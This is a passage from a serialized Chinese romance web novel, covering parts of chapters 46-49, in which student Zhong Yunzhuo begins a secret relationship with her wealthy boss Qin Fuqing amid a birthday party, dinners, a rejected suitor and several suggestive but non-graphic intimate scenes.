简直太羞耻了。 她回去该怎么跟宋黎若解释?她肯定吓死了,在这之前可是一点儿预兆没有。 “怎么搞得跟偷情一样。” 秦拂清抻了抻褶皱的衬衫袖子,垂眸重新扣上袖扣,眼里依旧波光冽滟。 钟缊酌抿着唇,唇角还留有他侵略过的痕迹。 她不安地搅动着手指:“在人家生日宴上做这种事,本来就很过分。” 秦拂清笑了:“我也没抢他心上人,过分什么。” 他又要过来牵她的手,被钟缊酌一把甩开,“赶紧出去了,迟到可不好。” 虽然嘴上拒绝,可小女儿家那股娇羞劲儿全写在脸上了,藏也藏不住。 秦拂清黑眸定在她身上,背过手,哄着她说:“好,钟小姐不让牵那就不牵。” 露台中央的空地上,已经摆上了一座极为奢华的多层巨型生日蛋糕。 蛋糕由象牙白色的奶酪制成,每一层都精心装饰着立体的奶油裱花玫瑰,花朵以米白色和浅香槟色为主,搭配翠绿的叶子,光在视觉上就让人垂涎欲滴。 “真浪漫啊,这蛋糕可价值不菲吧。” “嗐,这都不算什么,没听人说嘛,谈公子本来想在山庄里隆重地办,自家老爷子不让,只能低调来这儿了。” 人群里热热闹闹,大家的视线都被这精致华丽的蛋糕吸引了去,谁都没注意到临时从场外走进来两人。 秦拂清云淡风轻地回了原座位,而钟缊酌只能跑到二层露台去找宋黎若。 “缊酌!这边!给你留了位子。” 钟缊酌看到宋黎若冲她招手,她已经不在原来的那桌。 她几步走过去,没理会她那副笑得很□□的表情,抚了下裙子坐在旁边。 这会儿桌上的饭菜已经吃一半,钟缊酌没赶上新鲜的,但她着实饿了,拿起筷子就往嘴里塞了块鸡翅。 “宝儿,还这么饿呐。”宋黎若在她耳边不怀好意地吹气。 钟缊酌鼓着腮帮子说:“当然饿,我还一口没吃呢。” 宋黎若贱贱地凑过来,压低声音,“喔是吗?我还以为你刚刚在储物室里吃饱了呢。” “宋黎若!” 钟缊酌的脸比简直比那一盘子西红柿炒蛋还要红,她踢了下她的腿,“再说我要杀人灭口了。” “杀什么人?”对面有个男生听到这一句,纳闷儿问道。 “没事,我们玩狼人杀呢。” 钟缊酌不得不放低音量,咬牙警告闺蜜:“不许再胡说了,不然我一个月之内都不再理你。” “别,我开玩笑的。” 宋黎若做出投降状,重新摆正身子,眼巴巴地问,“那你正经跟我讲讲,你俩从什么时候开始的呀。” “非得现在说吗?”钟缊酌环顾四周,心虚地摸了下鼻子,“我怕被人听到。” “大家的注意力都在寿星身上,谁关注你——噢不对,还是有一个人会关注你。” 宋黎若伸长脖子往楼下望,一片灯火辉煌中,正对上一双漆黑的眼睛,她碰了碰钟缊酌的胳膊,“缊酌缊酌,快看,他在偷看你呢。” 钟缊酌顺着那方向瞥了瞥。 秦拂清正襟危坐在一群人当中。他身型板正,样貌突出,加上那倜傥的坐姿,眉目传情时,哪里还是严肃刻板的秦总,活像一风流多情的年少公子。 钟缊酌过电一般,瞬时移开了眼。 她猛喝了几口饮料,才将那份心荡神迷的悸动压下去。 “你可能不会信,其实就是今天才算正式交往。”钟缊酌小口小口地往嘴里塞着芝士黑松露薯条,以掩饰那份不自在。 “天呐,所以之前是不是真被我说中了?你俩早就暧昧上了,瞒过了所有人?” 钟缊酌咋听这话咋觉得不对味,就好像他俩真的在偷情一样。 “也不是故意隐瞒啦,就是因为我心里一直不确定对他的感情,以及考虑到身份差太多” 宋黎若立马抓住了重点:“那这么来说,是他追的你啊。” 钟缊酌喃喃“嗯”一声。 “真刺激。”宋黎若喝了口鸡尾酒,眼里闪着八卦的欲望,“我记得静谷山庄那次,你躺他怀里了是不,从那会儿开始诶不对不对,秦皇岛度假的时候,他就帮你放孔明灯了!难道竟然这么早?” “哪儿有啊,那几次是真的巧合,没一点儿关系呢。” 钟缊酌一手托腮,“我还真不知道他对我从哪一刻产生想法的,甚至我自己对他的感情,也不知什么时候开始产生的变化。” 宋黎若还想追问几句,却被人喊让她过去一起切蛋糕。 她甩过头,“我不去,又不是我生日。” 宋黎若的倔强没持续太久,谈勉直接拿起话筒喊她的名字。宋黎若又羞又恼地冲过去想给他一拳,反应过来场合不对,才又假装淑女地和他一起握住刀柄。 一对金童玉女站在台上,下面就有人开始起哄。 宋黎若后来一直没回来,钟缊酌看得出,她只是嘴上嫌弃,其实心里还是挺开心的。 这场生日宴在一阵欢声笑语中结束,钟缊酌磨蹭着等到大部队都离开,才收拾包开始慢腾腾往外走。 秦拂清是在二十分钟之前给她发来的信息。 FU:【不知钟小姐可否赏脸让秦某送一程?】 真会调戏人。 钟缊酌咬着唇暗自思忖,怎么以前就没看出他是这么个不正经的老板。 她回了个【好,但我可能会晚一点出来】,然后假装没吃饱,在那儿耐心啃完最后一块蛋糕。 她是真不想在一群人的窃窃私语中去上秦拂清的车。 眼见大部队走得差不多了,钟缊酌起了身。 她站在灯火通明的街边,吸了几口新鲜的空气,给秦拂清发:【我出来啦,在酒吧对面那条街等你。】 两分钟后,那辆宾利车停在了她面前。 这次钟缊酌没犹豫,也没再客气,主动拉开副驾驶的门坐了上去。 “这么怕被人撞见啊。”秦拂清手肘支在车窗上,撑着侧额,似笑非笑。 “毕竟今天的事挺突然的,我需要时间适应” 钟缊酌系好安全带,发现秦拂清没急着启动车子,而是保持姿势不变,漫不经心地盯着后视镜。 她不明地向后望了望,随即瞪大眼睛,吴少维不知何时站在了酒吧的门口,正直直看着这边的方向。 她刚刚没有看到他,是什么时候站在那里的?难道他一直跟在她身后吗? 钟缊酌蓦地反应过来,秦拂清说的这句话,该不会实际指的是他? 她顿时紧张起来,结结巴巴解释:“你、你别误会啊,我是因为社恐,可不是怕让某个人知道,我以后肯定会找他说清楚的。” 秦拂清轻哼一声,直到注视着那人离开,才坐直身子,假装吃醋似地自嘲道:“反正也不是第一次伤害我,早就习惯了。” 钟缊酌脸上一阵红一阵白的:“哪儿有啊,我没做过这种事,您净拿我寻开心。” “瞧瞧,又开始您您的了,这是打算跟我划清界限呐。” “我——我习惯了嘛,改口也不是一下子能改得过来的呀。” 秦拂清轻抬眉骨,“你伶牙俐齿的,我是说不过你。” 事已至此,钟缊酌也不想再逞嘴上的功夫。她主动靠过来握住他的手,语气真真诚诚地:“那我现在发誓,以后绝对不会再做伤害秦先生的事了。” 秦拂清本就没责怪她的意思,是故意想听点儿好话呢。 这下得偿心愿了,他立马反手握回来,用沉磁的嗓音低声撩拨:“光说有什么用,得来点儿实际的。” 这话寓意太明显,钟缊酌心脏突突地跳。她屏住呼吸,最后闭起眼睛在他脸上亲了一口。 秦拂清就着这股劲儿,将人往怀里一带,低头就吻上去。 这次的吻来得更凶,那股炙热气息铺天盖地袭来,他含着她的唇,不断深入,钟缊酌浑身一下子软了下来。 她脑袋昏昏胀胀地,舌头也开始发麻,只能凭借本能吞咽着口水。 车内的气温极速攀升,唇齿间的摩挲辗转声环荡在四周,就在她觉得自己快要承受不住时,秦拂清终于适时收回了攻势。 眼前模糊的人影逐渐清晰,钟缊酌脸颊一片嫣红,垂着头喘气。 视线落到他手上缠绕的白色纱布时,脑中莫名蹦出一个大胆的想法。 她抚住胸口,神情里满是小姑娘家的纯真,“说起来你这个伤口该不会是故意弄的吧?” 秦拂清瞥过来的眼神还带着亲热后的迷离。 他扬了扬唇,一副不着调的样子:“既然知道,还来戳穿我。” 作者有话说:评论区掉落红包~ 第47章 昨晚发生的事太多, 钟缊酌被折腾得筋疲力尽,一直睡到中午才醒。 她睁开眼时,脑子里还能浮现出秦拂清临走前那张依依不舍的脸。 钟缊酌把头闷进被子里,回忆和他接吻的感觉, 心神又开始荡漾起来。 这个男人怎么那么会亲啊, 她觉得自己就像那春日里的柳叶枝条, 在清风拂动下来回飘荡着身躯,被弄得神魂颠倒的。 那时候听院儿里的姑娘们议论,秦拂清应该是没交往过女朋友,所以有句话说男人都是无师自通,看来所言非虚。 钟缊酌洗漱完, 趿拉着拖鞋回到卧室,瞥见手机屏幕亮着, 拿起一看,十多条微信消息。 她赶紧打开, 全是来自宋黎若。 【醒没醒呀?】 【起来回个信】 【还没睡够吗!】 【已经快中午了!】 【我要闹了】 【我真的要闹了】 【】 钟缊酌立马拨了个电话回去,“你怎么不直接给我打电话啊。” “我怕打扰你美梦呀。”宋黎若掐着嗓子, 声音嗲嗲地, “什么时候履行一下约定,请我吃个饭呢?” 她这么一说, 钟缊酌才恍然想起, 昨晚宋黎若上台之前, 非拉着自己说要今天请她吃顿饭, 来庆祝成功脱单。 “行呀, 中午就可以,正好我还没吃。你来挑个地方?” 宋黎若不假所思道:“那就院儿里的食堂吧,省得麻烦。” “” 钟缊酌咳嗽一声, “我看请吃饭是假,想听八卦是真吧。” 半小时后,钟缊酌出现在食堂包间里,跟服务员点好几盘子还算丰盛的菜。 宋黎若则坐在她对面,筷子还没动,就开始抛出第一个问题:“我特想知道,你跟秦拂清认识以来,有没有闹过矛盾呀?他会不会让着你?” “怎么想问这个。”钟缊酌给她盛了一碗柠檬草鸡汤。 “因为只有在产生矛盾时才能判断出一个人的本性。像这种身居高位的男人,多少有些脾气的,我怕他以后会欺负你。” 钟缊酌心里一阵感动,笑说:“算是有过吧,每次都是他让步,至少我所认识的秦拂清是一个挺不错的人。” 宋黎若点头,“那我就放心了。” 宋黎若大口喝了几口汤,又揶揄着问秦拂清怎么追的她,怎么跟她表的白,钟缊酌没说太多细节,含糊着讲了个大概。 “没想到秦总还是个痴情种。”宋黎若咬着筷子,忽然皱起眉,“诶,我想起来,这事儿你打算怎么跟敬舟说啊,他如果知道了估计不怎么高兴。” “我也发愁呢。”钟缊酌叹口气,“能拖多久是多久吧,说不定他还没发现的时候我们就已经分手了。” “瞎说什么,你当处的是月抛型男友啊。” 钟缊酌干笑了两声,没再说话。 “那你会跟父母说吗?”宋黎若抛出最后一个问题。 钟缊酌摇头:“他们大概也会担心我,而且,最麻烦的其实不是我这边是秦拂清那边。” 宋黎若能听懂她话里意思,两人的家世相差太多,这是一道难以跨越过的门槛儿。 她没处在她的位置,也不知道该怎么劝,只安慰着说:“车到山前必有路,别想那么多啦,先享受恋爱吧。” “嗯。” 这两天秦拂清一直没有联系她。 钟缊酌想来是因他工作太忙,她也算沉得住气,他那边没消息,她就不主动去打扰。 于是在一个夜空晴朗的晚上,秦拂清终于忍不住打过来一条视频电话。 那会儿钟缊酌正在给阳台上的吊兰浇水,她听到声音跑过去,撇见屏幕上的名字时,心跳就开始加快。 她点开后,对面只露出半张脸,画面左右晃了两下,似乎在调整角度。 “你今天怎么突然打视频来了呀。”钟缊酌显然还没适应这种关系,也不知道该说什么。 秦拂清看上去挺无奈,眯眼吹了下掉落在额头上的发丝,他站在微弱的灯光里,背后是一扇朱红色的大门。 “你在胡同里吗?怎么不回家——” 钟缊酌认出这个位置,话说一半,又反应过来原因,立马闭上了嘴。 她早该想到的,在家里还怎么敢跟她视频呢? 秦拂清无声地笑笑,却没直接说穿:“外面凉快,还能自带柔光滤镜。” 钟缊酌噗一声跟着笑了。 “在复习功课吗?”秦拂清问。 “没有啦,白天看了会儿书,晚上就陪陪花花草草。刚刚给一盆吊兰浇完了水,你的电话就来了。” “你不会现在才下班吧?”钟缊酌扑闪着一双清透灵动的眼睛问。 “嗯,前两天忙得晕头转向,今天回来还算早的。” 他垂眸看了眼手上的烟头,在钟缊酌接话的功夫,又偏头抽了最后一口,然后扔到地上,用脚碾灭。 钟缊酌说完之后,就静静地望着对面的男人。心里在想,其实也不用非要聊什么,这样看看就挺满足的。 “缊酌,以后你要监督我少抽一些。”秦拂清给她交了个任务。 “啊?我怎么管得了你呀,而且,刚抽完就说这种话,也太没说服力了。” “那还不是想你想的。” 钟缊酌心尖蓦然一跳。 她有些不自在地玩着衣摆,“那我也得经常看到你才行,我总不能靠想象来提醒吧。” 秦拂清想了想说:“这周末晚上有没有空一起吃个饭?” 钟缊酌愣了下,立即回:“我在放暑假呢,什么时候都有空,主要看你。” “行,那暂且就这么定。”秦拂清淡笑着说。 电话挂断之后,钟缊酌又主动给他发了个晚安的表情。 她一直盯着他回的那个晚安两个字许久,才想起要去继续浇花- 钟缊酌顺利考过雅思之后,学业压力减轻了不少,但假期她也打算没闲着,去报名了个考驾照。 这几天,钟缊酌一直在家复习科目一,某天中午,意外收到了吴少维的一条微信。 吴少维:【缊酌,上次我提到的那个小众品牌的香水,它家女款上了新货,你看看有没有喜欢的?】 紧接着,屏幕里又蹦出来几张香水的照片。 个个包装精美,味道也是各式各样,柑橘香,花香,木香,麝香,薄荷,苔香。 钟缊酌指尖上下划了划,也没心情细看了,抿着嘴在脑中组织好语言,给他回复:【抱歉啊少维,我对这个不感兴趣,我觉得你可以留着等将来送给心仪的女孩子呀。】 这句话是钟缊酌琢磨好久想出来的,好歹也是朋友一场,她不好把话说得太过分,所以采用了一种比较委婉的拒绝方式。 也是过了很久之后,对方才又发过来一句【明白了。】 简单的三个字里蕴含着浓浓的失落感。 但在这一刻,钟缊酌一颗悬着的心也总算落了地。 周末那天晚上,大约七点钟左右,季昌开着车子来到东四街大院六号楼楼下。 向来素着脸的钟缊酌今天也特意化了个淡妆,一张白净的脸蛋上,长睫弯弯,正红色的唇膏颜色显得整个人明媚又端庄。 她很淑女地将双手交叠于身前,看到车子来后,拉开车门坐上副驾驶,和季昌打招呼:“昌叔好,今天麻烦您了。” “钟小姐客气。” 季昌打了个方向盘,向后瞥了一眼。 心说钟小姐平时清汤寡水的,只看出是个五官标志,气质不错的小姑娘,这一打扮上,还真有那股惊为天人的意思了。 一来二去见过几次后,也算得上熟悉,季昌怕她拘束,主动打开了话匣。 “钟小姐,若是冷了就告诉我,秦总常穿西装衬衫,空调温度设置得低。” “嗯,谢谢您,我知道了。” 出了大院没一会儿,季昌看时间还早,又跟钟缊酌聊起来:“听说你跟秦总是校友,学的什么专业呐?” “计算机。” 季昌感慨,“计算机挺难的,我就没那个脑子,那毕业后是打算直接工作还是考研?” 钟缊酌没想到他问起这个,即便雅思过了,她现在也不敢保证能顺利入学。后面的推荐信和学费一道接着一道的门槛,况且计算机是个热门专业,竞争得相当激烈。 她保守回道:“是有考研的打算,但麻烦不少,不一定怎样呢。” “嗐,有麻烦找秦总说呀,还有什么他不能解决的。” 钟缊酌礼貌笑笑,顿了片刻,态度不明地说了句:“再看看吧,不想欠他太多。” 已经让他帮过太多次了,她怕将来还不起。 饭店选的是在雍和宫附近的一家老牌西班牙餐厅,名字叫藏红花。 钟缊酌说中式餐厅吃太多,想换个口味,于是秦拂清就定了这家。 她跟着服务员来到二楼的玻璃房,找到预订的座位。 这个位置景观很不错,能看到院子里种植的海棠树,这个月份已经结了果,一颗颗红艳的娇艳欲滴的果实,像是红色珍珠挂满树枝。 昌叔说秦总要晚些时间到,她可以先看一会儿菜单。 于是钟缊酌翻开那厚重的菜谱,眼花缭乱地扫完十几页,最后根据品相指了几道菜。 当手指落在那道西班牙伊比利亚卡斯特罗火腿上时,秦拂清的身影恰好出现在了门廊处。 他迈着沉稳的步子走过来,和季昌吩咐几句之后,便直接坐在了钟缊酌的对面。 秦拂清抬起眼,小姑娘今日应该是化了妆,一双眉如远山含黛,温婉清雅,而嘴唇就像窗外那绚丽夺目的海棠果,红得浓烈且纯粹。 秦拂清的心弦在她望过来的一刹那,狠狠地被拨动了一下。 “点了什么?”他咽下喉咙,不动声色地问。 “名字太长了,我都记不住。”钟缊酌把菜谱递过来,“你看看,就这些。” 他听着她软声软语地念完那些复杂的菜名,又跟服务员加了一道地中海火炙牛肉和一份柚子芝士慕斯。 “喝点什么?”秦拂清问,“今天有司机,想喝酒的话我可以陪你。” “好呀。我看这里的金酒度数调得不高,我想尝尝。” 秦拂清稍顿一瞬,露出一丝异样的神情,但也没拒绝。 菜上齐之后,钟缊酌先端起酒,主动要和秦拂清碰杯:“感谢秦先生对我一直以来的照顾和帮助,这杯我先敬你。” 秦拂清弯唇赞赏:“范儿起的不错,就怕你喝不惯这酒的口味。” 钟缊酌不信邪,张嘴就灌了一口,一下子被那股辛辣感呛了嗓子,眼泪直往外冒。 秦拂清递给她毛巾:“我说什么来着,不听老人言。” 咳嗽几下后,钟缊酌又拿米汤压了压,“其实适应一下还好,这里面有一股持久的香气,我挺喜欢的,应该是杜松子的味道吧。” 秦拂清似乎也习惯了她的倔强,没再说什么,开始扯些别的话题。 钟缊酌提到自己学车的事,秦拂清表示如果以后他再喝酒了可以让她来开。 “不行啊,我那会儿才刚拿完车本,可没胆子来开豪车。” “是吗?”秦拂清假装惊讶道,“我看你胆子大得很,在酒店半夜都敢敲我的门。” 钟缊酌脸悠地红了,“怎么又提这事儿啊。” 这顿饭吃得很平淡,却也很幸福,离开时已经是晚上九点。 钟缊酌一杯酒下肚就已经晕乎乎的了,被秦拂清扶着上了车,他既好气又好笑,“这点儿酒量就敢喝金酒,真不知自己几斤几两。” “秦总,走哪条路?二三环都堵车,只有四环不堵,但用时久,回去要很晚了。”季昌问。 秦拂清蹙了下眉说:“走四环吧,堵车晃晃荡荡地,她不好受。” 钟缊酌没听到两人的对话,歪着身子躺在秦拂清怀里,叽里咕噜不知在说些什么,没一会儿便睡着了。 秦拂清看着怀里的女孩,喉结滚了滚。 酒精上头,他愈发觉得浑身燥热,心想这化了妆是看着好看,就是不方便亲。 怕弄花她的口红,他拼命克制着欲望,最后只在她脸上轻轻吻了一下。 窗外车水马龙,街边古色古香的建筑倒映在秦拂清的眼底,他抬手松了松领口,忽然问一句:“老季,西山壹号院那栋别墅是不是还空着?” 季昌回复:“对,很久没人住了。” 西山壹号院在五环边上,距离市里单位远,上班也不方便,他和家里人一直没怎么去过那边。前年姥姥倒是住过一段时间,结果嫌屋里太空荡,没人气,一个月不到就回老宅了。 “有空派人去打扫一下,再配些生活用品和衣物。”秦拂清不急不缓地吩咐道。 季昌心中诧异,心里直感叹这秦总是真敢瞒着老爷把人往家里带,也不怕被发现。 但他也不好多说什么,按照经验只要装瞎到底就成。季昌随即应了句:“明白。” 作者有话说:评论区掉落红包~ 第48章 钟缊酌又是一觉睡到中午。 她回忆起昨晚回来时的情况, 她在车上睡着了,到楼下秦拂清应该是喊了她挺久,问需不需要送进家里。 钟缊酌那会儿迷迷瞪瞪地,说不要了会被阿姨看到。她推开门就要下车, 被秦拂清一把捞过腰, 下巴抵在她肩膀上问, 送你上楼,然后我就离开行不行。 钟缊酌浑身麻酥酥地说行。 后来的一段时间,秦拂清得空就派车来接她一起吃饭。 又一个周天时,钟缊酌出来得早,往外走到主路旁等车, 结果恰好遇上了从书店里出来的张桢和杜洺两人。 那会儿钟缊酌背对着他们,她没注意到有熟人, 直接钻进了车内。 “那丫头真攀上秦总了啊。”杜洺切了声,敲出一根烟给张桢。 张桢接过去却没抽, 心里挺不是滋味儿,“说不定人家也是两情相愿, 不至于非说攀不攀的。” “咱这个圈子你又不是不知道, 阶层不同能有几个到最后结婚的?这种女人,还不是为了榨干对方价值, 再领一笔分手费美美走人。” 张桢懒得跟他辩解, 他现在关注的不是这些, 而是那好哥们吴少维。 他到底知不知晓他们关系呢?这么久了, 一点儿行动见不着, 真是皇帝不急太监急。 当天从食堂吃完饭,张桢没回自己住处,直接杀进了好哥们家里。 “少维, 开门!”他提着大嗓门喊。 半分钟后,门被打开,吴少维顶着个鸡窝头,一脸的不耐烦:“这么晚了干嘛来?” “瞧你现在的样子,不梳头也不洗脸,满嘴的胡茬,跟那秦拂清站在一起简直就是公鸡比凤凰!怪不得人姑娘看不上,自己一点儿不知道上进!”张桢气不打一处来。 吴少维没料到他为什么消息会这么灵通,皱着眉问:“你打哪儿知道这么多?” “我一个小时前亲眼看见秦拂清接她来了,你说我打哪儿知道的。” 吴少维拖着身子从冰箱里拿出一瓶可乐,往沙发上摊去:“那真是多谢你过来提醒我。” 张桢跟着往里走,看到窗帘还没拉开,床上乱七八糟的,就知道他定是从中午睡到了现在。 “所以你早就知道了?还这么淡定的闷在家里睡午觉?” “不然呢,我能做的都做了,人家表明对我没意思,还能怎样。” “诶不是,你确定你都问清楚了?我都能想象出你那个所谓的表白,就是送个礼约去看个电影是不?能不能来个直接点的啊大哥,现在早就不流行钓着姑娘那一套了!” 吴少维仰头灌了几口可乐,碳酸气体在舌尖上炸开,脑子也清醒了不少。 “你不觉得很可惜吗?你都多少年没遇见个心仪的姑娘了。”张桢继续在他耳旁唠叨,“他们或许也是刚开始约会,没正式在一起呢,你说不定还有机会。” “我再想想吧。”吴少维闭上眼睛说。 张桢的一番劝说还真起了些作用,在第二天从公司出来之后,吴少维主动约钟缊酌出来见上一面。 “就在楼后面的那个小公园里,不会耽误你太多时间。”他解释说。 那边犹豫几秒后,只轻轻回了一个字,“好。” 落日的余辉透过密密匝匝的树叶洒在台阶上,吴少维正躬着身子靠在凉亭廊柱前,想事情想得出神。 一抬眼,恰好看到一抹蓝色出现在视野里。 女孩穿着牛仔裙,神情掩盖不住地紧绷着,慢腾腾移步到他面前。 “少维,你找我什么事?” 她应该已经知道他想要说什么,吴少维想。 他舔了下嘴唇,这次没再拐弯抹角,轻声问她:“缊酌,我想问你现在还是单身吗?” 钟缊酌瞳孔紧缩了一瞬,不假思索地回:“不是。” 仿佛一道重锤砸进心间,即便做好了心理准备,他还是忍不住抽了口气。 吴少维垂眸,忍住喉咙里的干涩,艰难地开口:“所以是和秦拂清?” 钟缊酌用力点头。 一切已成定局,再怎么纠缠也是徒劳。 吴少维眼前似是蒙上一层灰,周围一切的花花草草都失去了颜色。他突然很恨自己,为什么生了这样一副温吞软弱的性子。 他再次面向那个女孩,自嘲般地扯唇发出疑问:“那缊酌,我还想问最后问一个问题。如果我赶在秦拂清之前跟你表白,你会和我在一起吗?” 钟缊酌着实没想到,这个时候他仍要坚持刨根问底。 她思忖片刻,平静地给了他一个答案:“少维,我很珍视我们之间的友情,所以我不想欺骗你。我想说,即便我没有和秦拂清在一起,也不会接受你的心意,因为我只把你当作朋友。” “所以我从一开始就没有机会,对吗?” 钟缊酌低下头,喃喃说:“是。” 这一刻,她心里其实挺愧疚的,因为辜负了他一片好意。 钟缊酌一直坚信着,男女之间是存在纯友谊的。她对他的感觉,就和她对涂敬舟,宋黎若一样,不存在半点龌龊之心。 “我明白了。” 吴少维呼吸中都带着颤,原来这份感情,从始至终都是他一个人的舞台,她从来没有参与过。 “那祝你幸福。”他说。 “嗯。” 钟缊酌没办法安慰他什么,她说再多好听的话,也只会更刺痛他- 转眼间暑期过半,钟缊酌已考完科目二,只是每天五个小时的高强度训练,让她明显感到体力不支。 以至于这周再来古玩馆,竟意外迟到了半小时。 当她呼哧带喘地推门而入时,冯盛已经泡好了茶,端端正正坐在会客室等待客人。 “抱歉冯伯,我来晚了。” 钟缊酌放下包,来到桌前,看到他泡的是一壶红浓透亮的普洱茶。 “今天来的是香港的客人吗?”但钟缊酌明明记得这位章总是来自江城,之前预约过又临时取消了,她对她有印象。 “是秦先生自己想喝普洱。”冯盛笑着解释。 自从知道这丫头跟秦拂清在一起了之后,他心里也是五味杂陈。 一方面不知道以后该拿什么态度对她,总不能还像过去那样呼来喝去,另一方面也是担心她未来有一天会受伤,毕竟两人的阶级差距很大。 “他今天也要来呀?”钟缊酌吃了一惊,秦拂清可没告诉自己这件事。 冯盛只微微点头,“嗯。” 不多时,客人的车已到了门外,冯盛让钟缊酌在展览室里等着,他自己负责接待。 与以往来的老板形象不同,章仪穿了一件橙色时尚衬衫,下面是包臀裙,风情万种,迈着摇曳多姿的步伐跟在冯盛后面。 只是在进了展览室之后,钟缊酌察觉章仪似乎对古董的兴趣并不大。 钟缊酌在认认真真给她介绍一些信息资料时,她双臂抱在胸前,面无表情地听着,也不做任何回应,不知在想什么。 直到秦拂清来了之后,她脸上的神情终于有了一丝变化。 会客室内,章仪眉眼含笑地坐在男人对面。 她一副楚楚动人的姿态端坐在红木椅上,只是那个男人始终公事公办地在和她谈合作,没表现出一点儿另类心思。 甚至看她的眼神,还不如看那位讲解小姑娘的眼神热烈。 章仪最后是木着脸出来的,人不可能把自己包装得太久,她也做不到一直拿热脸贴冷屁股。 钟缊酌照例进去收拾茶具。 秦拂清就那么一动不动地瞧着她,她低头专注自己手上的动作,也不说话。 “没话跟我说了啊。”在她将所有茶具放到托盘上准备端走时,秦拂清终于忍不住开了口。 “哦。”钟缊酌仍旧垂着眸,没什么情绪地往外蹦字,“确实有一件事想要跟你说,我已经和吴少维讲清楚我们的关系了,他以后应该不会再纠缠于我。” 秦拂清视线凝在她身上,答非所问地敲了敲桌面说:“先放下。” 钟缊酌刚刚撂下托盘的一瞬间,忽然被秦拂清握住手腕,他一把将人拉近,钟缊酌站不稳,直接跌坐在他的腿上。 两人上半身紧紧相贴,男人身上滚烫,一股混合着木质香味的荷尔蒙气息铺天盖地袭来,钟缊酌的脸腾地红了。 她微微挣扎着:“你干什么呀?我还有工作呢。” 秦拂清双手扣着她的腰,不让她动一下,低沉暗哑的嗓音回荡在耳边:“我是老板,工作我说了算。” 他声音低低地诱哄着:“是气我来之前没告诉你,还是因为刚刚的女人吃醋了,嗯?” “我没有。”钟缊酌倔强着不肯承认,挣扎的动作却慢慢停了下来。 “那我就当都是了。”秦拂清说完之后,没给她反应的机会,直接用嘴封住了她的唇。 熟悉的感觉在唇间蔓延开,酥酥麻麻地如同电流一般蹿入大脑,让钟缊酌瞬间失去了思考的能力。 两声闷哼之后,她缴械投了降,歪过头配合他的姿势。 空气中飘荡着黏稠的气息,秦拂清被欲念冲击着胸腔,顾不得此刻还在办公用的会客室里,和心爱的姑娘吻得昏天暗地。 “不行窗帘还没拉。”钟缊酌察觉到一丝异样,红着脸提醒。 她以为这样就可以暂且停下,将这场迷乱且荒唐的情事打断。 然而没想到,秦拂清不知是装傻还是真没懂她的意思,他直接很“听话”地去按下了窗帘的控制按钮。 屋里的光线一下子暗了下来,将气氛衬托得更加暧昧。 秦拂清将女孩抱进了沙发里,低头吻了吻她的额头。 钟缊酌双手抵住他的肩膀,轻声呢喃:“给你四十分钟,四十分钟后我要去背新到的资料。” 他眼底的欲念愈发灼热:“如果真的在这里调情,四十分钟恐怕不够。” 钟缊酌顿时心跳如雷,几乎喘不过气。 “可是你是不是还差一些东西没有准备。”尽管表达得够委婉,但她羞于讲这样的事,整个脸几乎埋进了他的衬衫里。 “不到那一步。”秦拂清嗓音更哑了,再配上这样一句暧昧不明的话,显得平时那么正经威严的声音变得无比色.情起来。 钟缊酌对这种事懂得不算多,也没跟人讨论过,迷迷糊糊思考的时候,秦拂清已经再次吻了上来。 他一边吻一边轻声细语地在她耳边磨,问她喜不喜欢他,有多喜欢,会一直喜欢吗。 钟缊酌吞咽着口水,哼哼唧唧地说不出一句完整话。 秦拂清的吻在慢慢向下滑,她羞耻得快要爆炸,怎么能亲那里啊。 她双手搂住他的脖子,浑身颤抖,几乎要喊出声来。 最后,钟缊酌已经不记得两人究竟缠绵了多久。她只知道在自己眼前一片眩晕,浑身瘫软无力时,秦拂清还哄着她说,来帮帮他。 朦朦胧胧之时,他握住她的手,隔着一层布料教她怎么帮他。 作者有话说:评论区掉落红包~ 第49章 钟缊酌一个人坐在沙发上, 抚着胸口,在慢慢平复气息。 她现在只要一闭上眼,耳边就会响起两人意乱情迷的喘息声。 她的棉T恤扣子刚刚被扯掉一颗,露出一小片雪白皮肤, 衣服下摆也在这场混战中变得褶皱不堪。 太羞耻了, 钟缊酌弯腰将脸埋在双腿上。 秦拂清在这时拎着一套新的连衣裙走了进来。 他自己已经换了一身新西裤衬衫, 只是颜色款式和之前无异,不细看几乎看不出来。 “你从哪里弄来的衣服呀?”钟缊酌昂起头看他,眼睛里还带着少女温存后的娇俏。 秦拂清在她对面坐下,慢条斯理地扣着袖口,一副正人君子的做派。 钟缊酌顿时觉得眼前这位和刚刚那个欲求不满, 抱着她索爱的男人简直判若两人。 “让老季去买的。”他微微扯唇,平静地解释。 钟缊酌心下一跳, “那他不就知道我们两个” “我跟他说吃饭弄脏的。” 你吩咐人办事的时候,怎么会跟人家解释原因, 钟缊酌才不信他这话。况且,多大的人了吃饭还弄脏衣服。 她一想到昌叔在那琢磨两人干了什么, 就不自觉脸上开始发热。 秦拂清眼睛扫过她衣领处的缺口, 眸色一凛,将袋子递过去, “换了吧, 这样出去, 是真瞒不住了。” “我就在这儿换啊。”钟缊酌环视一圈, 连个遮挡都没有。 秦拂清不由失笑:“你还怕我看见?” 她郑重点头:“是啊。” 秦拂清想要说, 刚刚都那样了还怕什么。结果没等他开口,钟缊酌直接就将他拽起来,一直推到墙边的那幅油画下面。 “你就站这儿欣赏油画吧。”她命令似地口吻跟他说。 小姑娘音色清脆, 即便语气强硬,也带着一股俏皮劲儿。 秦拂清被挠得心痒,无奈之下,只得背对着她,很听话地伫立在墙下罚站。 身后一阵悉悉索索的声音,不一会儿,就听那头清了清嗓子,冲他召唤:“我换好啦。” 秦拂清转过身,这件连衣裙是休闲款,长筒型中间掐出腰身,简简单单带着一股慵懒之风,她穿着倒也合适。 这会儿时间不早了,秦拂清中午还有个饭局,但他不想跟个渣男似地亲热完就跑路。于是主动走过去拍了拍沙发背:“坐这儿聊聊天,可以吗?” “可以呀。” 钟缊酌一头扎进他怀里,闻着那股清淡木质香气,“其实我刚刚的话还没说完,我还有件事想跟你谈呢。” “嗯,什么事?”秦拂清摩挲着她的手背,声音很轻地问。 钟缊酌抬头看他,模样认认真真地:“我打算开学后去大厂实习,所以现在想跟你提辞职。” 男人眼中闪过一丝诧色,顿了顿说:“已经找好实习的公司了吗?” 钟缊酌如实道:“还没,刚开始投简历呢。” 她最近忙着学车,已经错过了部分企业的暑期专项实习招聘,现在只能零零散散地去投一些。 秦拂清脸上辨不出喜怒,只轻叹一声:“那行吧,你既然决定的事,我也不好强留。” 他默了一会儿,又问:“所以是打算毕业后直接去工作了吗?” 秦拂清这样的背景,留学时自然不会考虑要去大厂实习来提高自己的竞争力,因此第一反应是为工作做准备的。 